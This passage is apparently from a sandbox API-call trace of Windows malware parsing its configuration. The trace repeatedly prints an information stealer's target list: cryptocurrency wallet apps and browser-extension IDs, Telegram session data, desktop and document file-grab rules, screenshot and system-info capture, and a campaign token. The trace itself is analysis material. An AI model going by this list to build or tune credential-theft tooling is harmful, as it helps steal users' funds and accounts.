Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.195] lstrlenW (lpString="atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4335 [0266.195] LocalAlloc (uFlags=0x40, uBytes=0x225e) returned 0x6fc408 [0266.195] StrCpyW (in: psz1=0x6f1ee8, psz2="26" | out: psz1="26") returned="26" [0266.196] LocalFree (hMem=0x6fc408) returned 0x0 [0266.196] StrStrW (lpFirst="atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.196] lstrlenW (lpString="atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4335 [0266.196] LocalAlloc (uFlags=0x40, uBytes=0x225e) returned 0x6fc408 [0266.196] StrCpyW (in: psz1=0x6f4830, psz2="atomic" | out: psz1="atomic") returned="atomic" [0266.196] LocalFree (hMem=0x6fc408) returned 0x0 [0266.196] StrStrW (lpFirst="*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension 